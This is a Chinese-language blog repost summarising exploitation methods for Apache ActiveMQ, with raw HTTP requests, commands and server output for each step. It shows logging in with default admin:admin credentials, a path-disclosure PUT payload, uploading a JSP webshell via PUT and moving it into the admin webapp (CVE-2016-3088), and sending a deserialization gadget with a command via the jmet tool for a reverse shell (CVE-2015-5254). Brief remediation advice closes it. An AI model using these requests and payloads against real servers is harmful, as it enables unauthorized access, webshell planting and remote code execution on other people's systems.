ActiveMQ漏洞利用方法总结

Wesley13
• 阅读 660

转载来自:http://www.freebuf.com/column/161188.html

1、Console存在默认端口和默认密码/未授权访问(默认密码为admin:admin)

ActiveMQ默认使用8161端口,使用nmap对目标服务器进行扫描:

[root@localhost src]# nmap -A  -p8161 192.168.197.25 \
Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST
Nmap scan report for 192.168.197.25 Host is up (0.00016s latency). PORT STATE SERVICE VERSION 8161/tcp open http Jetty httpd 7.6.7.v20120910 |_http-methods: No Allow or Public header in OPTIONS response (status code 401) | http-auth: HTTP/1.1 401 Unauthorized | |_basic realm=ActiveMQRealm |_http-title: Error 401 Unauthorized 

ActiveMQ漏洞利用方法总结

2、ActiveMQ物理路径泄漏漏洞

ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息:

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4 test 

Response Raw:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory) Content-Length: 0 Server: Jetty(7.6.7.v20120910) 

ActiveMQ漏洞利用方法总结

3、ActiveMQ PUT任意文件上传漏洞

ActiveMQ默认开启PUT方法,当fileserver存在时我们可以上传jspwebshell。

Request Raw:
PUT /fileserver/shell.jsp HTTP/1.1
Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 26 this is jsp webshell code. 

Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910) 

ActiveMQ漏洞利用方法总结

一般构造返回204响应码即为成功,笔者测试其他环境为不可put时,返回为404或500。 put完成,我们查看service下的信息:

[root@localhost fileserver]# pwd
/data/apache-activemq-5.7.0/webapps/fileserver
[root@localhost fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[root@localhost fileserver]# cat shell.jsp this is jsp webshell code. [root@localhost fileserver]# 

4、ActiveMQ任意文件文件移动漏洞

ActiveMQ除了支持PUT协议之外,还支持MOVE协议。

Request Raw:
MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 17 Content-Length: 0 

Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910) 

ActiveMQ漏洞利用方法总结

服务器信息如下:

[root@localhost fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[root@localhost fileserver]# cat shell.jsp 
this is jsp webshell code.
[root@localhost fileserver]# ls
index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# ls index.html META-INF WEB-INF [root@localhost fileserver]# cd .. [root@localhost webapps]# ls admin demo favicon.ico fileserver index.html styles [root@localhost webapps]# cd admin/ [root@localhost admin]# ls 1.jsp browse.jsp decorators index.jsp META-INF queueGraph.jsp send.jsp styles topics.jsp 404.html connection.jsp graph.jsp js network.jsp queues.jsp shell.jsp subscribers.jsp WEB-INF 500.html connections.jsp images message.jsp queueConsumers.jsp scheduled.jsp slave.jsp test xml [root@localhost admin]# 

ActiveMQ漏洞利用方法总结

ActiveMQ漏洞利用方法总结

同理,写ssh key一样,在此不再重复造轮子。

影响版本:Apache ActiveMQ 5.x ~ 5.14.0

CVE信息:CVE-2016-3088

4. ActiveMQ反序列化漏洞(CVE-2015-5254)

ActiveMQ默认对外开启61616端口,默认为ActiveMQ消息队列端口。

其中存在一下小的细节问题:

  1. 工具releaes的为JDK 1.7,如果自己build可无视

  2. 使用工具需要在当前目录下创建一个external目录,否则会出现NoSuchFileException

通过构造payload,向队列发送反序列化数据到消息队列中。

(工具下载地址:https://github.com/matthiaskaiser/jmet)

[root@sevck_v3 ~]# java -jar jmet-0.1.0-all.jar  -Q event -I ActiveMQ -s -Y "python /tmp/test.py" -Yp "CommonsCollections1" 192.168.197.25 61616
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:sevck_v3.0-45938-1516678757604-0:1 INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollections1" with command: "python /tmp/test.py" INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:sevck_v3.0-45938-1516678757604-0:1 

ActiveMQ漏洞利用方法总结

查看消息队列触发:

ActiveMQ漏洞利用方法总结

服务器监听:

ActiveMQ漏洞利用方法总结

注:如果反弹不成功可能的原因是JAVA Runtime.getRuntime().exec()中不能使用管道符,需要进行一次编码

推荐工具:http://jackson.thuraisamy.me/runtime-exec-payloads.html

影响版本:Apache ActiveMQ 5.13.0的版本之前的存在反序列化漏洞

CVE信息:CVE-2015-5254

5.ActiveMQ 信息泄漏漏洞(CVE-2017-15709)

在最新的版本中apache-activemq-5.15.0 toapache-activemq-5.15.2和apache-activemq-5.14.0to apache-activemq-5.14.5中61616默认使用了OpenWire协议,开启了debug模式,debug模式会泄漏操作系统相关信息

ActiveMQ漏洞利用方法总结

影响版本:Apache ActiveMQ5.14.0 – 5.15.2

CVE信息: CVE-2017-15709

修复建议:

  1. 针对未授权访问,可修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务即可

  2. 针对弱口令,可修改conf/jetty.xml文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可

  3. 针对反序列化漏洞,建议升级到最新版本,或WAF添加相关规则进行拦截

  4. 针对信息泄漏漏洞,启用TLS传输或升级到Apache ActiveMQ的5.14.6或5.15.3以上版本

点赞
收藏
评论区
推荐文章
blmius blmius
2年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Jacquelyn38 Jacquelyn38
2年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
Wesley13 Wesley13
2年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Wesley13 Wesley13
2年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
2年前
Android蓝牙连接汽车OBD设备
//设备连接public class BluetoothConnect implements Runnable {    private static final UUID CONNECT_UUID  UUID.fromString("0000110100001000800000805F9B34FB");
Stella981 Stella981
2年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Stella981 Stella981
2年前
JOptionPane修改图标
1.在Linux平台下.JOptionPane会显示Java默认的图标,在window平台不显示图标,如何替换这个图标了?2JOptionPane.setIcon(Icon)修改的是内容区域的icon,而不是左上角的Icon.所以需要通过修改Jdialog/Frame的图标来达到修改默认图标的问题.3.代码:if(JOptio
Wesley13 Wesley13
2年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
3个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这